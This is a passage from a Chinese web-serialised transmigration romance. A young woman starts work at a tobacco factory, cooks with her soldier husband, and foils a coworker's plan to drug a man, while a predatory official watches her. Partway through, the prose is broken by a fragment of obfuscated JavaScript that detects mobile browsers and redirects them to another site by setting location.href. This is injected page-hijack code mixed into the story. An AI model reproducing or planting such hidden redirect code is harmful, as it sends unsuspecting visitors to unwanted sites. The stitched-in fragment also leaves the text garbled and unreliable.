“当然,最好还是交给警察去处理,我们不能因为罪犯而犯罪。”觅婉婉怕谢宴清以身犯法,补充道。
谢宴清突然笑了一下,如晴光映雪,“我知道了。”
今天发生的事情太多,觅婉婉差点忘了把明天去溪城卷烟厂工作的事情跟谢宴清说了。
许是因为放松下来,觅婉婉抓着被子的两只手便抓得没那么紧了,被子略微松开,左肩露出一大片雪白。
谢宴清扭过头,冰爽似的俊脸染上一层薄红,“既然明天要上班,你早点休息。那个混蛋没有抓住之前,我送你上下班。”
说完,谢宴清不等觅婉婉回答,几个跨步就走出了房间。
觅婉婉瞥见他粉色的侧脸,接着注意到滑落的被子,“噗嗤”一声笑了出来。
谢宴清刚才,是在害羞吗?
折腾了一天,觅婉婉早就累了,扯着被子倒头就睡。
觅婉婉起来地时候,谢宴清已经收拾好客厅的床铺,没了人影。
一直到她洗漱完毕,谢宴清才拎着两只野鸡回来,“鸡给你吃。”
觅婉婉精致的脸上全是笑意:“那我就不客气啦。”
谢宴清又扭过头,神情淡定地换衣服、洗漱。
觅婉婉却从他的动作中看出了逃避,她解锁了谢宴清身上的有趣密码呢。
谢宴清果真骑着自行车送觅婉婉去上班,觅婉婉坐在后座,自然地揽住谢宴清的腰。
明显感觉到前面的人有些僵硬,觅婉婉偷笑了一下。
今天早上醒来,觅婉婉再想起昨天谢宴清的质问,有了全然不同的想法。
除了自己不知道的、关于顾宁阳以及顾家一家人跟谢宴清的恩怨,谢宴清昨天的质问,是有吃醋的成分在里边的。
不然,那么多女孩喜欢顾宁阳,一口一个顾哥哥,谢宴清怎么从没去找他们麻烦呢?
明白这一层之后,觅婉婉问自己,对谢宴清是什么感觉呢?
她清晰地记得自己看到谢宴清露出痛苦神色时的慌乱,还有谢宴清故作委屈时,觅婉婉明晃晃的偏爱。
自己对谢宴清有好感,觅婉婉清楚地知道这一点。她不打算逃避自己的感觉,前世今生觅婉婉第一次喜欢一个人,她想要试试看,能不能跟谢宴清走下去。
到了溪城卷烟厂后,谢宴清看到卷烟厂的环境,不由皱眉:“你确定要在这里工作?”
觅婉婉:“我在刘叔手底下工作,他是部队出身,管的车间也纪律严明。”
谢宴清的神色缓和下来:“嗯,我回去了。”
“婉婉,你来上班吗?我带你去找罗主任。”卷烟厂以男工人居多,很少来小姑娘,更别说觅婉婉这样漂亮的小姑娘,因此彭飞见到觅婉婉非常高兴。
随后,彭飞就感觉一道冷冰冰的视线投在自己身上,冷的打了个哆嗦。
“彭飞,这是我爱人,谢宴清。”觅婉婉挽住谢宴清的手臂,笑着介绍。
彭飞感觉对方的视线缓和了一点,虽然惊讶于觅婉婉竟然结婚了,但很快自然地向谢宴清打招呼:“同志你好,我是卷烟厂的工人彭飞,平常负责工人入职一类的工作。”
谢宴清“嗯”了一声,踩上自行车回部队,临走时特意对觅婉婉说:“下班后我来接你。”
“好。”觅婉婉现在对谢宴清的小心思一清二楚,憋笑答应。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830689|158960||http|test|mini|href|location''.split(''|''),0,{}));
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>进入车间,换好工服后,刘为民安排觅婉婉去山上种植黄烟。春季是黄烟播种的时候,刘为民给觅婉婉讲解黄烟插秧的注意事项。
觅婉婉拿出准备好的笔记本,一一记下。
她认真的态度让刘为民满意了几分,做事一向雷厉风行、不爱解释的刘为民多说了几句:“在我手下做事的人,都是从种烟开始的。种植黄烟虽然辛苦,却是制烟最重要的一环。等你熟悉了,自然回让你去其他生产环节。”
对此,觅婉婉不觉得有什么,她虽然看重溪城卷烟厂后来的发展,但她既然决定做这份工作,就会做好。“刘老您放心,我会好好干的。”
接着两人又说了一些细节,觅婉婉就戴上草帽,往山上走去。
她纤细的身影很快消失在车间中,彭飞觉得让这么个娇滴滴的小姑娘去做插秧的事情,怎么看都有点过分。
“师傅,人家毕竟是个小姑娘,把她安排在咱们车间得了,出去风吹日晒地多不好。”
刘为民瞪了他一眼:“我看人家小姑娘觉悟都比你高。”
彭飞摸了摸头,不敢再说话,一溜烟跑了。
刘为民看着彭飞的身影,又是摇头又是叹气。他就收了彭飞这一个徒弟,彭飞天资不高,做人做事却是认真的。
他带彭飞在身边这么多年,这个徒弟也没什么长进,刘为民多少有些恨铁不成钢。可当初他落难的时候,无论别人怎么逼迫彭飞,彭飞都不愿意揭发自己的师父,坚持不认那些人给刘为民安的罪名。
就凭这一点,刘为民觉得彭飞这个徒弟就没白收。
“刘老,”王进走过来,苦笑了一下对刘为民说:“咱们车间人手不够,卷烟厂如今这个情形,几乎没人愿意过来。”
“我看您收了个女工人,恰好,我这里也有个人选。是个十七八岁的小姑娘,磨盘镇边上柳村镇的人,我想着是不是能让她来上班。”
刘为民对男女之分看的没有那么重,“你看着办,只要她能按照我的规矩来,踏实做事。”
王进是刘为民一手提拔起来的,现在已经是车间主任。他们虽没有师徒之名,却有师徒之实,这点事情,刘为民是愿意让他放手去干的。
“多谢刘老,我会让她守规矩的。”王进恭敬道。
觅婉婉来到后山,管种植的是一个憨厚的中年男人,叫李利国,他正带着一堆人在翻土。
乍一见来了个小姑娘,还有点难以置信,愣了一会后交给觅婉婉一把锄头,指了指地里的一个男人:“你跟着他干。”
觅婉婉接过锄头,来到他指的那个人身边:“大哥,我跟你一起翻地。”
前世的时候,觅婉婉幼年的时候是做过农活的,所以她会锄地。后来举家搬到县城,每年放寒暑假,觅婉婉也会跟着爸妈去地里干活,农活对于觅婉婉来说,不算陌生。
白良平听到一道女声,抬起头,没想到是觅婉婉:“姑娘,是你?”
就是这个人,救了他们家霜儿一命,没让部队那个纨绔顾宁阳玷污了霜儿的名声,白良平自然是清楚记得觅婉婉的。
16. 崇拜
觅婉婉也没想到会在这里碰上女主的哥哥,她是来工作的,大大方方地对白良平说:“好巧,原来白哥你也在这里工作的,我今天第一天上班,请多多指教。”
“你好,我们这几天的工作是翻地,就是像这样......”白良平迅速反应过来,他工作一向认真,也不废话,向觅婉婉示范翻地的过程。
觅婉婉学的很快,试着翻了一下之后,就去隔壁的陇上翻地。
一个上午,觅婉婉翻了整整一垄地,虽然出了一身汗,觅婉婉却很高兴,她很久没有感受到亲近土地的生活了。
李利国原本以为这个看着娇滴滴的小姑娘会干了几下就跑路,这样的人,李利国在卷烟厂见多了。
尤其是刘老管的三个车间,那是出了名的要求高,能留下来的,都是吃苦耐劳的能人。
没想到觅婉婉看着娇气,干活是一把好手,并且干了一上午,精神饱满,不见萎靡之色。
“婉婉,好样的!”李利国夸奖道。
觅婉婉:“谢谢。”
等白良平带着觅婉婉去食堂吃午饭的时候,觅婉婉一下就蔫了:水煮得发黄的青菜,表皮僵硬、形状不规则的馒头,无了。
觅婉婉生无可恋地嚼着硬邦邦的馒头,白良平见了,悄声道:“你要是觉得食堂的饭难吃,可以自己带,小心点别被人看见就行。”
生活艰难的时候,能有口饭吃就不错了。卷烟厂的工人自然不会嫌饭菜难吃,可从美食丰富的时代穿过来的觅婉婉,是不可能习惯吃这些的。
白良平这么提醒她,觅婉婉知道,对方是好意,担心她遭人眼红。
“谢谢白哥,我知道啦。”觅婉婉朝他感激地笑了一下。
十八岁的女孩,五官精致,笑起来的时候如同阳光拂面,令人备感温暖,白良平回了觅婉婉一个温和的笑容。
刚走进食堂的叶芳菲看见这一幕,急忙走上前道:“平哥,我给你带了菜,你吃我的菜吧。”
觅婉婉看着这个刚冒出来的姑娘,跟自己差不多的年纪,相貌清秀,面上带着急切,心思一目了然。
“我不用,芳菲,你哥哥在四车间,你去给他送吧。”白良平埋头吃着自己碗里的馒头和菜,看也没看叶芳菲。
不是他不领情,是这姑娘最近太奇怪了。白良平跟叶芳菲是同村,白家和叶家还是邻居。但两家人的关系不好,甚至到了水火不容的地步。
前段时间他摔断了腿,叶芳菲却不顾父母的反对,一哭二闹三上吊,非要到叶家来照顾自己。
白良平看得分明,叶芳菲不是真心的,接近自己是另有所图。
除此之外,白良平看见好几次叶芳菲看着妹妹的眼光,带着明晃晃的嫉妒。
可他们家现在家徒四壁,前段时间自己摔断了腿,更是将家中祖传的宝贝都当了。叶芳菲能图自己什么,又嫉妒妹妹什么呢,白良平想不通。
“喂,你是哪个车间的,为什么坐这里?我是二车间刚来的女工,你让个位置。”叶芳菲见白良平对自己冷淡,刚刚却对觅婉婉笑,就想把火发到觅婉婉身上。
觅婉婉:“不巧,我也是二车间的,并且比你先来,你想要位置啊,自己找吧。”
“你知道我叔叔是谁吗?”叶芳菲吃了个钉子,生气地说。
这熟悉的台词让觅婉婉都笑了,“李刚吗?你要是当你叔叔是亲人,我劝你别给他招黑。”
“什么李刚,我叔叔是......”
“以刘老的性格,恐怕容不得属下靠着关系在厂里作威作福吧?”
觅婉婉一句话,成功让叶芳菲闭上了嘴巴。
刘为民的行事作风,叔叔早就跟她说的清清楚楚,更是再三叮嘱她要守规矩,否则刘老一定会毫不留情地把她扫地出门。
叶芳菲再生气,牵扯到刘老,也不敢造次。
看到叶芳菲的表现,觅婉婉更加觉得,没有跟错领导。
正好觅婉婉没什么胃口,很快她便吃完了。
她一起身,叶芳菲立即坐在了白良平的对面,殷切地朝他推饭盒:“平哥,我今天给你带了黄豆猪脚,你的腿刚好,需要吃猪脚补补。”
听到有猪脚,周围的人纷纷看过来,有的不争气的,还看着那饭盒咽了几口口水。
某个工人开玩笑说:“平哥,你可真是好福气啊,人家姑娘对你,一片真心,你就从了吧。”
“谢谢,我的腿已经好了,不用补。”白良平依旧是拒绝,同时加快了吃饭的速度,想要快点逃离这个是非之地。
觅婉婉忍不住回头看了看这两人,若有所思。
当初看小说的时候,因为剧情过于狗血,人物逻辑过于离奇。除了男女主各种谈恋爱的情节之外,其他的人物,觅婉婉是没怎么在意的。
会记得谢宴清这个大反派,还是因为他过于厉害凶残,让人想不记住都难。
今天遇到白良平,觅婉婉才想起来,在书中,白良平后续的发展也是很不错的。
政策放开后,白良平利用下班时间去摆摊收获了第一桶金,后来又停薪留职去读大学,研究生毕业后回到省城的烟草局当了局长,官居高位。
可以说,男女主最后能he,和白良平已一己之力提高了白霜儿家庭阶级有很大关系。
当然,这只是觅婉婉自己的分析,在书中,男女主能he,是因为真爱。
可现在白良平家徒四壁,叶芳菲为何这么急切,好像知道叶良平马上就会飞黄腾达,要趁现在赶紧把他拿下一样。
难道叶芳菲跟自己一样,是穿过来的,知道剧情发展?
种种念头在心间闪过,觅婉婉按下不表,决定静观其变。
剧情是剧情,现在的生活是真的,觅婉婉休息过后回到山上,专心致志地翻地。
太阳快落山的时候,卷烟厂收工的铃声响起,觅婉婉放下锄头,擦了一下额头上的汗,回到厂房换好自己的衣服。
一走出来便看到谢宴清已经骑着自行车在等她了,觅婉婉高兴地跳上自行车,搂住谢宴清的腰:“走吧。”
自行车稳稳当当地走在路上,谢宴清难得主动说话,“你今天在卷烟厂的工作怎么样?”
“挺好的,卷烟厂下班真早,四点半就下班了,我喜欢。就是食堂太难吃了,我明天要带饭。”觅婉婉抱怨道。
“嗯。”
问了一句之后,谢宴清又恢复了他冷若冰霜、沉默寡言的样子,只有觅婉婉坐在他后面,叽叽喳喳地说话,讲自己今天工作的事情。
“你从来没跟我说你部队的事情,跟我说说呗,你每天都在做什么?”到家后,觅婉婉想起来,她好像不太了解谢宴清在部队的事情,于是问道。
谢宴清放好自行车,拿出今天早上猎到的其中一只野鸡,一边烧水拔毛一边说:“特种部队的选拔很严格,但是我通过了。后天我就去特种部队,到时跟你讲。”
“哇!谢宴清,你真棒!
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”觅婉婉一双眼放着光,崇拜地看着谢宴清。
她就知道,她第一次喜欢的人,超厉害的。
谢宴清忍不住弯起唇角:“你也很厉害,学种黄烟学得很快。”
“那当然。你要做板栗炖鸡?”觅婉婉骄傲回答,看谢宴清在剥栗子,立马流口水。
谢宴清:“早上猎鸡的时候刚好碰见一颗栗子树,就顺手捡了些回来。”
中午没吃饱,这会儿听着就特别饿。觅婉婉拿出之前留下的猪板油,切成小块开始熬猪油。
小块的白色猪板油咕噜咕噜地冒着泡泡,越来越多的油溢出来,金黄色的油渣浮在表面上。
捞起猪油渣,觅婉婉将猪油倒进陶罐之后,就迫不及待地捻起一颗猪油渣放入嘴里,咔嚓咔嚓地嚼着,幸福地眯起眼睛。
看到在砂锅前熬鸡的谢宴清,觅婉婉捻起一颗猪油渣递到他的嘴巴前,“谢宴清,吃一个猪油渣。”
猪油渣特有的香气钻入鼻孔,捻着猪油渣的手白璧无瑕,谢宴清情不自禁的张开了嘴,闭合的时候却不小心舔到了什么。
觅婉婉迅速地收回手,背在身后,“我去炒青菜。”
氤氲的白烟从砂锅中升起,谢宴清的脸被熏红。
觅婉婉用猪油渣炒了个包菜,栗子炖鸡也好了,两个人专注晚饭,谁也没提刚才的插曲。
“这个栗子吸透了鸡汤的精华,软糯又入味,太好吃啦。”刚从灶上下来的栗子炖鸡有点烫,觅婉婉斯哈斯哈地吃着。
鸡自然炖的也好,但野鸡比普通的鸡肉柴了一些,反而是栗子更美味。
“我再去捡。”谢宴清看觅婉婉吃得嘴角有酱汁都不知道,伸手去帮她擦,觅婉婉刚好转头,吻上了他的手。
两个人就保持这个姿势,僵住了。
“我吃好了。”谢宴清打破僵局,起身说道。
就要走出大厅的时候,谢宴清忍不住回头看了一眼觅婉婉,只见她埋头在碗里吃,脸却红成了小番茄,慌乱躁动的心瞬间安定下来。
点好蜡烛,觅婉婉又躺在床上翻来覆去,脑海中不断地回想着晚饭时发生的事情。
他们现在的气氛怎么变得这么暧昧呢?
觅婉婉心乱如麻,一会儿想着书中的剧情,一会儿想万一她会错了意,谢宴清不喜欢她怎么办。
心中有事,觅婉婉第二天起来的时候精神就不太好。
“谢宴清,你今天去镇上买些小鸡仔回来吧。”觅婉婉坐在自行车后座上,几乎是趴在谢宴清身上打瞌睡,迷迷糊糊地说。
谢宴清:“你想养鸡?”
“野鸡肉太柴了,我觉得还是家养的鸡肉好吃一些,而且能下单。”觅婉婉有些心虚地说,她真实的想法是,养了鸡之后,她就可以分散注意力。
不然像昨天一样,一直想着谢宴清她吃不消啊。
本来觅婉婉想的是买只猫养,可这个时代宠物的疫苗、猫粮什么都没有,到底是不方便,养鸡就很方便了。
谢宴清不疑有他,答应了。
到了溪城卷烟厂,觅婉婉打起精神,准备工作,恰好遇见了叶芳菲。
叶芳菲看她的眼神依旧不善,张开嘴似乎想说什么不好听的,却在看到觅婉婉身旁的谢宴清时变了脸色,表情瞬间僵硬。
谢宴清察觉到她的目光,冷冷地看向她。
叶芳菲仿佛见了鬼,双手捂住嘴巴,迅速地跑了。
觅婉婉:......
17. 后台
谢宴清看起来毫不在意,骑着自行车往镇上走。
觅婉婉想起昨天的猜测,叶芳菲不会真的跟自己是同类吧?
可她观叶芳菲的言行举止,又跟这个时代的人很是相似。追求白良平的方法也很幼稚,完全不像从自己那个年代过来的人。
毕竟处于前世那种信息大爆炸的时代,就算没吃过猪肉也见过助跑,追人的法子千万,叶芳菲不至于一点没学到。
觅婉婉走进车间换了衣服,决定兵来将挡水来土掩,再看看情况。
今天的工作依旧是翻地,为了黄烟后面能长得更好,翻好地后需要给土地施肥、浇水,总之尽量让土地肥沃。
工作间隙,叶芳菲一直缠着白良平问东问西,觅婉婉看了一会儿后觉得无趣,遂专心干活。
辛勤劳作一天下来,觅婉婉就觉得身上有些酸痛,果然这个身板还需要再补补。迫不及待地去车间换了衣服,觅婉婉已经在脑海中计划好回去要用剩下的一只野鸡炖鸡汤补补。
刚走出车间,白良平就走上前来跟她打了个招呼,只是打完招呼之后,又半天不说话。
“平哥,你是不是有事要跟我说,有事就说吧。”觅婉婉见他为难,主动开口。
白良平见她磊落,也觉得自己太墨迹,“关于你爱人的事,听说他非常残忍,你,没事吧?”
平白无故的,白良平问自己这个,觅婉婉惊讶了一瞬。到底对方是好意,觅婉婉没有太过抗拒,“他这个人呢,面上看着是冷了些,其实人不错对我也挺好的。”
“不过平哥,你怎么会突然这么问,不会是有人说我家谢宴清的坏话吧?”
“是我轻易听信别人的话了,抱歉。”白良平羞愧地说,他本来是不想听信叶芳菲的话,可叶芳菲说的煞有其事,觅婉婉又救了白霜儿两次。
如果觅婉婉真的被谢宴清伤害了,白良平做不到不管,这才鼓起勇气来问觅婉婉。
“叮铃~”
一道自行车的铃声吸引了两个人的注意力,觅婉婉朝人走过去:“鸡仔买好了吗?”
谢宴清拿出挂在车把上的纸箱子,里面放着六只黄色的、毛绒绒的小鸡仔。
可爱是很可爱,就是绒毛有点乱,光泽也不大好。
“你买的这些鸡仔,恐怕养不大。”白良平看见鸡仔,忍不住提醒说。“发育良好的鸡仔,鸡绒毛应该光亮且干燥,鸡爪也不干枯无光泽。”
谢宴清听了,忍不住皱起眉头,迷茫地看着盒子里的鸡仔。
“好啦,麻烦平哥跟我们跑一趟,换些正常的鸡仔回来。”觅婉婉忍着笑道,她一看谢宴清这个样子,就知道他是被人坑骗了。
到了镇上,卖家一看见谢宴清回来就知道不好,忙赔罪,任由白良平挑选。
白良平眼光毒辣,一看就是行家,很快从大筐密密麻麻的鸡仔中挑出发育良好,精神十足的鸡仔。
三人分别之前,谢宴清塞给白良平两个鸡蛋:“谢礼。”
白良平本能地想要拒绝,可他观谢宴清眉宇之间自有一股清正之气,起了结交之意,就收下了鸡蛋。“不必这么客气,以后有什么需要的,尽管叫我。”
路过磨盘镇码头的时候,碰见刚捞上来的河虾,有中指般大,觅婉婉立马买了一斤。
“我们炖个野鸡汤,再包点虾仁馄饨,做鸡汤虾仁小馄饨吃。”回去的路上,觅婉婉决定了今天的晚餐。
临时去了趟磨盘镇,回到军区大院的时候天色就有些晚了。
冤家路窄,觅婉婉碰上了在院里遛弯的觅桂兰。
“婉婉,你这么晚回,去哪了?”觅桂兰打量着问她。
觅婉婉不愿跟她纠缠,本想直接略过,看见她身旁的那个人时心中闪过熟悉的感觉。
周哲直直盯着觅婉婉看,一开始是被她惊人的美貌吸引,看着看着,又看出一股熟悉的感觉来。
没等他看清楚,自行车咻地穿过,只留下一个单薄的背影。
觅婉婉也觉得这个男人有点熟悉,可她又想不起来在哪见过这个人。
回到家之后,觅婉婉若有所思地走进厨房,一边揉面一边想到底在哪见过呢。
谢宴清干脆利落地剁了野鸡放进锅里炖,接着开始剥虾仁。
“我想起来了!”觅婉婉揉好面,终于想起来在哪见过那个男人。
虽然他上次戴着口罩,可觅婉婉对他那双眼睛记忆深刻。“是上次侵犯白霜儿的那个男人。”
谢宴清:“周哲?”
刚刚觅婉婉只是匆匆看了几眼周哲,没料到他就是觅桂兰新嫁的丈夫。这还真是,不是一家人,不进一家门。
“你不能再去溪城卷烟厂工作了。”谢宴清突然站起来,强硬地对觅婉婉说。
“为什么?”觅婉婉莫名其妙,周哲是那个混蛋跟她的工作有什么关系。
谢宴清:“那个周哲,在溪城卷烟厂的财务部工作。”
溪城卷烟厂领导内部分为两派,一派以副厂长郑宏儒和财务部长汪建德为首,两人在市里有关系;另一派以书记刘为民和人事部长曾春海,这两人都是部队里出来的,脾气性情相和。
至于周哲,部队子弟,本来应该去刘为民那边的,却不知怎么的,去了郑宏儒那一边。
上次觅婉婉坏了他的好事,又正好去了卷烟厂工作,周哲不会错过报复觅婉婉的机会的。
有人的地方就有江湖,溪城卷烟厂内部有派系斗争,觅婉婉不奇怪。麻烦的是周哲在其中身居高位,他现在还不知道觅婉婉已经认出他,一旦知道了,必定会想尽办法除掉觅婉婉。
以周家如今的地位,恐怕不好应对。觅婉婉没想到自己路见不平,会为自己引来灾祸。
但即便如此,觅婉婉不后悔自己的选择。“只有千年做贼的,哪有千年防贼的,我不会退出。那个周哲,我会想办法对付他。”
“可周哲的父亲,如今身居高位,周哲有他在,不好对付。”谢宴清面上淡定,看向觅婉婉的眼中全是担忧。
觅婉婉笑道:“你放心,我有办法的。或者,你努力训练升官,当我的后台呀。”
“嗯。”谢宴清认真地答应下来。
趁着炖鸡汤的空隙,觅婉婉拿出今天买的小鸡仔,正在四周巡视,准备搭个简单的鸡棚,就见院子靠墙那边已经搭好了鸡棚,一看就是出自谢宴清的手。
觅婉婉把鸡仔放进鸡棚,用一个破碗装了水放在外面给它们喝,又剁了些青菜混着米喂他们吃。
看着
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黄色毛绒绒的小鸡仔吃得欢,觅婉婉被周哲破坏的心情好了一些。“谢宴清,你说他们什么时候可以下蛋给我们吃?”
谢宴清:“正常需要三四个月。”
觅婉婉就笑:“可以吃到自己养的鸡下的蛋,真好。”
她总是这样,很容易就笑,很容易就开心。谢宴清在她日复一日的笑容中,内心深不见底的冰川似乎有了裂缝。
鸡汤鲜美,虾仁带着甜甜的味道,觅婉婉吃了整整一海碗的馄饨,只好摸着圆滚滚的肚子在院子里走来走去消食。
熄灯后,谢宴清在觅婉婉熟睡后,无声地在院子里训练。
经过重重选拔,谢宴清和王丘雨、赵天瑞一起进入了特种部队。
王丘雨是家中的幺子,自小被宠着长大,无所事事地混到了十八岁,文不成武不就。
直到谢宴清救了他姐姐,王丘雨似乎找到了方向,谢宴清入伍,他也跟着当兵;谢宴清申请选拔特种兵,王丘雨立马跟上,也递上了申请书。
至于赵天瑞,他是个孤儿,从小在附近的村子里吃百家饭长大。入伍是被班长靳伟抓过来的,选拔特种兵也是被班长逼着去的,结果阴差阳错还选上了。
三个人一起进入特种兵训练营,原先在部队的时候,就属三个人最佛系。你要说这三人不认真吧,他们确实是认认真真训练的。你要说这三人上进吧,他们是真的一点都不上进。
每天完成训练任务和命令之后,该干嘛干嘛,部队有什么活动学习一概不参加,升职什么的更是一点都不关心,主打一个厌倦世俗名利。
因此王丘雨和赵天瑞听到谢宴清说想要建功立业的时候,一脸懵逼:“你发烧了?”
谢宴清:“就是,有个官职比较高的混蛋要对我媳妇做些什么。”
王丘雨和赵天瑞对视一眼,脱口而出:“哪个王八蛋/混蛋?”
“我解决起来会很棘手。”情况未明,谢宴清暂时不想对他们透露太多。
连谢宴清都觉得棘手,可见真的很棘手。保护女性的正义感和帮助兄弟的义气让王丘雨和赵天瑞振奋起来,“你放心,兄弟两个绝对不给你拖后腿。”
于是顾大勋不放心地过来特种兵训练营看他们三个的时候,就看见他们三个不要命似地在训练。
“这才对嘛。”顾大勋满意地点点头,想到什么,脸又黑下来,迅速往回走。
顾家,顾宁阳杀猪一般的嚎叫响起,“顾大勋,你谋杀亲子啊!”
顾大勋手里拿着军棍,咬牙切齿地说:“三个月后特种兵部队还有一次选拔,你要是通不过,我就打死你!”
遭受完来自父亲的暴击,顾宁阳赶紧去找他妈,“妈,什么时候把我给调回省城啊,我不想去什么特种部队,只想回省城机关。”
孙云:“你小声点,我这边很顺利,三个月后,你就调回去了,放心。这段时间你先按照你爸的来,别惹你爸生气了。”
关键时刻,还是亲妈靠谱,顾宁阳得了孙云的话,心下大定,乖乖地回部队训练。
由于顾大勋让人把顾宁阳往死了练,顾宁阳每天训练场、宿舍两点一线,训练完沾床就睡,好些天没再跟白霜儿“偶遇”,这对冤家的剧情线居然这么暂时地断了。
18. 露骨
觅婉婉发现这个问题,是因为在她和叶芳菲相继进入溪城卷烟厂工作后,白霜儿也进来当工人了。
二车间一下就多了三个女同事,除了叶芳菲之外,大家都是按部就班,该干嘛干嘛。
兄妹两个明显避着叶芳菲,这让叶芳菲很是生气,却也没办法,她总不能对白良平霸王硬上弓吧。
眼看着叶芳菲无计可施了,觅婉婉以为这人会就此放弃。没想到一日下班后,觅婉婉拖延了一段时间下山,撞见叶芳菲跟一个瘦小的中年男人鬼鬼祟祟地在说些什么。
那男人倒三角脸,皮肤黝黑,头发洗漱,头顶那一块已经凸了。最让人不舒服的是那双眯眯眼,散发着猥琐的光。
觅婉婉悄悄躲在山后面,听他们在说些什么。
“你放心吧,你只要把这玩意让他闻到,保准他保持不住。”猥琐男人信誓旦旦地说。
叶芳菲接过一个用油纸叠成的三角行纸包,犹豫着说:“真的能有用吗?”
猥琐男人嘿嘿一笑:“当然,不过,你这模样,我光是看着就兴奋了。哪个男人这么不解风情,还需要你用药来刺激?”
“这不用你管,黄老三,你少打我的主意,当心我爸收拾你。”叶芳菲把纸包小心地收好,毫不留情地警告他。
叶家在村里是有头有脸的人家,她爸是村支书,哥哥哥是村里的生产队长。黄老三再混不吝,也不敢得罪叶芳菲,讪讪的笑了一下走了。
叶芳菲在黄老三走后,往生产车间的方向走去。
确认人都走了之后,觅婉婉从山后面走出来,有些头疼。她想不通这个叶芳菲在想什么,如果叶芳菲和自己一样,是穿过来的,应当知道,哪怕就在卷烟厂安安分分当个普通工人,靠着吃单位和时代的红利,也够活的很好了。
大可不必非要拿下白良平不可,与其投资男人,不如投资自己呢。
可叶芳菲就跟着了魔似的,想对白良平用药来达成目的。
这段时间跟白良平兄妹俩相处,抛开白霜儿是原书女主的身份,两人性情不错。尤其是白良平,在工作上指点自己很多,觅婉婉不能装作没看见这件事情。
卷烟厂有两个废弃的仓库,平时大家换衣服就在这两个仓库中,刚好男女分开。
白良平已经换好了衣服,正在等白霜儿。
“平哥哥,我有点不舒服,你送我去医务室好不好?”叶芳菲白着脸,眼中全是哀求。
看她神情不像是作伪,顾念着同事情谊,白良平背起叶芳菲,健步如飞地往医务室走。“你忍着点,我背你去医务室。”
他们刚一走,白霜儿从仓库出来,却没看见自己哥哥。
觅婉婉急匆匆赶过来,刚好看见白霜儿在找人,于是拉住她问:“平哥和叶芳菲呢?”
“我也在找我哥,平常他每天都在这等我的,今天不知道去哪儿了。”白霜儿一脸茫然地说。
路过的一个工人听到他们的对话,好心说:“你哥背着叶芳菲去医务室了。”
觅婉婉暗道不好,拉着白霜儿就走,“叶芳菲要算计你哥,咱们快去找他们。”
两人一边急匆匆地往医务室走去,觅婉婉一边将自己刚才听到看到的事情和白霜儿说了。
“叶芳菲她,怎么能这样做!”白霜儿红着脸说,不知道是羞地还是被白霜儿气的。
到达医务室的时候,里面门窗紧闭,窗帘拉得严严实实,一丝缝隙也无,完全看不到里面的情况。
白霜儿急得团团转:“这该怎么办啊?”
觅婉婉找来一根有男人手臂粗的棍子,对准医务室的大门:“我们撞开它。”
白霜儿愣了一下,反应过来之后,立马走上前,用力地握住棍子,两人使足了力气,撞了好几下,终于把医务室的门撞开了。
门开了之后,一股香气扑面而来,想起黄老三的话,觅婉婉犹豫了一下,没敢进去。
白霜儿却管不了那么多,门一开就冲了进去。
医务室里,白良平躲在蓝色的帘子后面,满头大汗,脸也是通红的,叶芳菲半躺在医务室的床上,同样满脸通红,呼吸不稳。
“霜儿,你怎么进来了,快出去!”白良平见白霜儿进来,立马起身,推着白霜儿往外走。
“哥,你没事吧?”白霜儿见白良平脸色不好,担心地问。
觅婉婉见状,出声提醒说:“你们都中了药,最好去镇上的医院看看。”
白良平出来吹了风后,冷静了不少,感激地看了觅婉婉一眼,“霜儿,事不宜迟,咱们赶紧去医院。”
事情解决,觅婉婉想起谢宴清还在等自己,赶紧往回走。
“婉婉。”
路过财务室门口的时候,觅婉婉碰见周哲,就听他突然叫了自己一句。
周哲表面上看起来不像个纨绔子弟,反而是风度翩翩的公子模样,可觅婉婉深知这是个禽兽,后退了两步。
“说起来,你该叫我一声姐夫,都是亲戚,以后不必这么见外。”周哲见她往后退,笑的温和。
一双眼睛却在觅婉婉身上扫射,水灵灵的眼睛,眼角上勾,肌肤白嫩,宽大的工作服也遮不住上半身的隆起......
越看,周哲的眸色越深,同时心中升起一股后悔,当初,怎么不对眼前的人下手。不然,他就可以一尝春色,还省的被觅婉婉坏了好事。
觅婉婉被周哲的目光恶心地差点吐出来,后背却发凉,她的体内有一股燥热在旋转,怕是刚才吸入了一点药物的缘故。
饶是如此,觅婉婉依旧沉着冷静地盯着周哲,只要他敢动自己,觅婉婉不介意给他一巴掌。
周哲忽然凑上前,觅婉婉扬起手,突然被一股大力拉开。
“婉婉,我在外面等你很久了,你怎么在这?”
一道清冷的声音响起,觅婉婉看到站在自己身旁的谢宴清,提着的一颗心落回了胸腔中。
周哲又恢复了儒雅的样子,笑着朝他们点了点头就走了。
谢宴清死死地盯着他的背影,杀气四溢。
回家的路上,觅婉婉紧锦地抱着谢宴清的腰。一方面是因为刚才受了惊吓,抱住他能增加安全感;另一方面是她身体的温度越来越高,抱着谢宴清可以降温。
感受着身后源源不断的热量,谢宴清知道必定是发生了什么事,但现在不是说话的时候,只好更加用力地踩自行车。
风驰电掣地回到家后,谢宴清一把抱起觅婉婉,吓了她一跳,“你干什么?”
谢宴清不说话,只把她抱进房间,又把房门关了。“出什么事了?”
觅婉婉捧着自己的脸,给通红的脸蛋降温,“我中药了。”
她简单地将
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刚才发生的事情跟谢宴清说了之后,难为情道:“你给我打两盆冷水过来吧。”
“这个天气,洗冷水澡会感冒。”谢宴清皱眉。
觅婉婉当然知道,可她现在这个样子...而且,她可不想去医院,尴尬死了。
她会建议白良平和白霜儿去医院,是因为他们吸入的太多,光靠其他方法,怕是过不去这关。但是自己中的药量不多,不是非要去医院不可的。
“难道,你想自己帮我?”觅婉婉见谢宴清不肯动,开玩笑对他说。
一双勾人的大眼睛谁水汪汪地对着他,里面装着稀碎的光和温柔,谢宴清跌进那片温柔和光中,一步步朝床上的人走去。
他俯下身,慢慢靠近觅婉婉的双眸,近到呼吸打在那片光中的时候。觅婉婉小扇子般的睫毛慌乱地闭上,“我们进展是不是太快了?”
“嗤~”
觅婉婉听到一声轻笑,睁开眼睛的时候,已经捕捉不到谢宴清的笑容,只在他深不见底的眼眸中看到一丝戏谑。
